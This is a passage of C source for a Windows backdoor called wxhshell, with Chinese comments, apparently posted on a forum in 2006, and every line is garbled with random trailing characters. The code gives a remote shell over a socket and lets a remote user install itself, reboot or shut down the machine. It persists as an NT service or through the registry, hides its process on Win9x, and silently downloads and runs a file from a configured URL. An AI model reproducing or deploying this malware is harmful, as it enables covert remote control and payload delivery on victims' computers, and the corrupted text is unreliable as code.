  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )N&95\ u  
  } So#>x5dL  
  else { AHLXmQl  
kX:8sbZ##4  
    switch(cmd[0]) { ,go$ 6  
  VQpwHzh  
  // 帮助 ;GZ'Rb  
  case '?': { @DyMq3Gt?&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CbT ;#0  
    break; wd Di5-A4  
  } tj tN<y  
  // 安装 &lB>G[t  
  case 'i': { +)7h)uq  
    if(Install()) L#/<y{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,*;g+[Bhpl  
    else ~&+8m=   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4TaHS!9  
    break; szy2"~hm  
    } Kp/l2?J"  
  // 卸载 {JW_ZJx  
  case 'r': { 9 NqZ&S  
    if(Uninstall()) >+*lG>!z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GUsJF;;V  
    else  .+-7 'ux  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < z{,@Z}  
    break; ~gOdK-SV*  
    } e`% <D[-  
  // 显示 wxhshell 所在路径 ZZW%6-B  
  case 'p': { hj3wxH.}  
    char svExeFile[MAX_PATH]; iD:T KB_r  
    strcpy(svExeFile,"\n\r"); 8{p#Nl?U1  
      strcat(svExeFile,ExeFile); kT&GsR/  
        send(wsh,svExeFile,strlen(svExeFile),0); +kOXa^K  
    break; )'`@rq!  
    } FX/f0C3CK  
  // 重启 #vT~D>zj  
  case 'b': { 6+yA4pRSd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R%;dt<Dh  
    if(Boot(REBOOT)) ^L's45&_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-:4TuU  
    else { Z]^O=kX7k  
    closesocket(wsh); %eE 6\f%g  
    ExitThread(0); t` zPx#])  
    } 'tq4-11xB  
    break; AXpyia7nU  
    } P? LpI`f  
  // 关机 g<MCvC@  
  case 'd': { aX35^K /  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mog!pmc{  
    if(Boot(SHUTDOWN)) Y!_e ,]GW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~@K!>j  
    else { 7 9ZYRm2;  
    closesocket(wsh);  lmB+S  
    ExitThread(0); 2sT\+C&H  
    } @5TJ]=  
    break; 2Xp?O+b#"O  
    } A)D1 #,0  
  // 获取shell Us8nOr>5  
  case 's': { ?) VBkA5j  
    CmdShell(wsh); l~GcD  
    closesocket(wsh); o1u?H4z  
    ExitThread(0); /QVhT  
    break; IL<@UWs6  
  } bH_zWk  
  // 退出 5x' ^.$K >  
  case 'x': { . AX6xc6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F2mW<REg{  
    CloseIt(wsh); 6 Y}Bza  
    break; etH]-S  
    } |&rxDf}W  
  // 离开 Np R&`]  
  case 'q': { ykG^(.E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YW^sf,zQ  
    closesocket(wsh); %ZJ;>a#  
    WSACleanup(); $U}GX'1LZ  
    exit(1); bF? {  
    break; 9K_p4 mq  
        }  :O{ ZZ  
  } WB=|Ty ~l  
  } IHNl`\Le  
el^WBC3  
  // 提示信息 dL>8|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =^gZJ@  
} F]^ZdJ2  
  } /}RW~ax  
$rmfE  
  return; Y+_t50 S  
} W= $, \D+  
r7n-Xe  
// shell模块句柄 u6~/" _FwY  
int CmdShell(SOCKET sock) K1^x+I7%U[  
{ DsF<P@O6  
STARTUPINFO si; ffS]%qa  
ZeroMemory(&si,sizeof(si)); R3@$ao  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !;;WS~no3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0^&-j.9  
PROCESS_INFORMATION ProcessInfo; MbjMO"}  
char cmdline[]="cmd"; aak[U;rx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tD\%SiTg=b  
  return 0; %P-z3 0FHp  
} d@_|  
63y&MaqSJ  
// 自身启动模式 ma(E}s  
int StartFromService(void) GJ4R f%  
{ OO`-{HKt  
typedef struct ayoqitXD?  
{ 84u %_4/  
  DWORD ExitStatus; P+[\9Gg  
  DWORD PebBaseAddress; K,L  
  DWORD AffinityMask; (uskVK>L  
  DWORD BasePriority; @If ^5s;z  
  ULONG UniqueProcessId; Y+UM>  
  ULONG InheritedFromUniqueProcessId; B]|"ePj-  
}   PROCESS_BASIC_INFORMATION; `f+l\'.s  
e`Vb.E)  
PROCNTQSIP NtQueryInformationProcess; AH#klYK  
#&ZwQw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2';f8JLY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .@(9v.:_u  
W=@]YI  
  HANDLE             hProcess; @XFy^?  
  PROCESS_BASIC_INFORMATION pbi; r__Y{&IO  
=dT sGNz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b(|1DE0Cv  
  if(NULL == hInst ) return 0; .l(t\BfE~  
Ud[Zv?tA:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "]0sR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0x]W W|se*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3,RaM^5dV  
Erd)P  
  if (!NtQueryInformationProcess) return 0; %>Y86>mVz  
RkuPMs Hw;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U k*HRudt  
  if(!hProcess) return 0; Z 7s (g]  
Y]gb`z$?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j=~c( B  
3G)Wmmh"a  
  CloseHandle(hProcess); XF 8$D  
YFY$iN~B,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ({_Dg43O'[  
if(hProcess==NULL) return 0; ?E:L6,a  
}+Ne)B E  
HMODULE hMod; jLu`DKB  
char procName[255]; K}p!W"!o  
unsigned long cbNeeded; m}dO\;  
llP 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JD}"_,-  
o:irwfArv  
  CloseHandle(hProcess); ,3tcti~sZ  
A$]&j5nh|  
if(strstr(procName,"services")) return 1; // 以服务启动 \$] V#@F  
ow{SsX  
  return 0; // 注册表启动 k{q4Zz[  
} <i(<|/ $  
WfDpeXdO  
// 主模块 {Ex*8sU%p%  
int StartWxhshell(LPSTR lpCmdLine) %t:pG}A>:C  
{ \KJ\>2Y  
  SOCKET wsl; x{';0MkUV  
BOOL val=TRUE; -1 Ok_h"  
  int port=0; &hb:~>  
  struct sockaddr_in door; Ow\dk^\-G8  
ZH<:YOQ  
  if(wscfg.ws_autoins) Install(); )|?s!rw +  
. w_oWmD  
port=atoi(lpCmdLine); `pzXh0}|  
rL /e  
if(port<=0) port=wscfg.ws_port; 8I`t`C/4  
\Gk4J<  
  WSADATA data; QXcSDJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gcs eq  
u d V. $N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "A6T'nOP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ] _WB^  
  door.sin_family = AF_INET; N5%zbfKM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9j;L-  
  door.sin_port = htons(port); "X }@VT=  
"V;5Lp b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }I1SC7gY  
closesocket(wsl); oS/cS)N20  
return 1; N=QeeAI}}m  
} l12_&o"C~  
9$u'2TV  
  if(listen(wsl,2) == INVALID_SOCKET) { g5 J[ut  
closesocket(wsl); z"@yE*6  
return 1; gfPht 5  
} -!k$ Z  
  Wxhshell(wsl); g{}{gBplnl  
  WSACleanup(); DKG%z~R*  
?{OB+f}Mo  
return 0; A@kp` -  
eKq`t.*Ft  
} VQQtxHTC3  
$]Vvu{  
// 以NT服务方式启动 5zqlK-$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X(Wd  
{ vIi#M0@N  
DWORD   status = 0; 5ZRO{rf  
  DWORD   specificError = 0xfffffff; 8U5L |Ny.q  
l#W9J.q(  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  .UUY9@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $~[k?D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ie[8Iot?bn  
  serviceStatus.dwWin32ExitCode     = 0; 7eh<>X!TX  
  serviceStatus.dwServiceSpecificExitCode = 0; ?5A!/`E&%  
  serviceStatus.dwCheckPoint       = 0; ,&1DKx  
  serviceStatus.dwWaitHint       = 0; d&dp#)._8  
MMZdF{5@G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sMq*X^z )?  
  if (hServiceStatusHandle==0) return; ;!JI$_ -\  
S-^RZ"  
status = GetLastError(); Ez*9*]O*+  
  if (status!=NO_ERROR) >0W:snNK  
{ o<hT/ P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u7oHqo`  
    serviceStatus.dwCheckPoint       = 0; dsx'l0q 'i  
    serviceStatus.dwWaitHint       = 0; SOq{`~,4B  
    serviceStatus.dwWin32ExitCode     = status; ~qG`~/7  
    serviceStatus.dwServiceSpecificExitCode = specificError; uK:?6>H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =lzRx%tm  
    return; ZZ<uiN$  
  } y7;i4::A\  
bF#*cH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $rAHtr  
  serviceStatus.dwCheckPoint       = 0; vakAl;  
  serviceStatus.dwWaitHint       = 0; $\0%"S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PfaBzi9?f  
} N6"b Ox J(  
f xWW "B*A  
// 处理NT服务事件,比如:启动、停止 0'giAA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %V>Ss9;/8  
{ NDJIaX:]  
switch(fdwControl) iBq|]  
{ PhHBmM GL  
case SERVICE_CONTROL_STOP: t(O{IUYM  
  serviceStatus.dwWin32ExitCode = 0; `kn 'RZR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oJcDs-!  
  serviceStatus.dwCheckPoint   = 0; .o(XnY)cgJ  
  serviceStatus.dwWaitHint     = 0; 1e 8J-Nkj  
  { T+OQa+E@P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \,-t]$9  
  } e;y\v/A  
  return; yEnurq%J  
case SERVICE_CONTROL_PAUSE: 5Iv3B|u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2{v$GFc/  
  break; :|s!_G<  
case SERVICE_CONTROL_CONTINUE: G8w<^z>pTg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O>Vb7`z0<  
  break; \"]vSx>  
case SERVICE_CONTROL_INTERROGATE: QBg~b{h  
  break; nhfHY-l} 7  
}; tSr.0'CE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ewNzRH,b  
} ]wH,534  
bZ-"R 6a$  
// 标准应用程序主函数 #}/YnVk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?R7>xrp5  
{ xQ[~ c1  
ZfPWH'P  
// 获取操作系统版本 7~2b4"&  
OsIsNt=GetOsVer(); (vq0Gl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tgy= .o]  
@a08*"lbp  
  // 从命令行安装 8i H'cX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ax]Pa*C}  
WOW:$.VO^  
  // 下载执行文件 r#ISIgJXG  
if(wscfg.ws_downexe) { I[r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5'JONw'\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qi 3di  
} ^xW u7q  
}@kD&2  
if(!OsIsNt) { FKTdQg|NZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 J}Q4.1WG$  
HideProc(); *hhPCYOm  
StartWxhshell(lpCmdLine); O F$0]V  
} [Yo3=(7J  
else j.? '*?P  
  if(StartFromService()) AY{-Hf&  
  // 以服务方式启动 9~bl  
  StartServiceCtrlDispatcher(DispatchTable); }:5_vH0  
else Pc+8CuN?  
  // 普通方式启动 mVJW"*}8  
  StartWxhshell(lpCmdLine); DAZzc :1Aj  
g_kR5Wxpt  
return 0; <Yzk]98W5.  
}
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只看该作者 1 发表于: 2006-10-10
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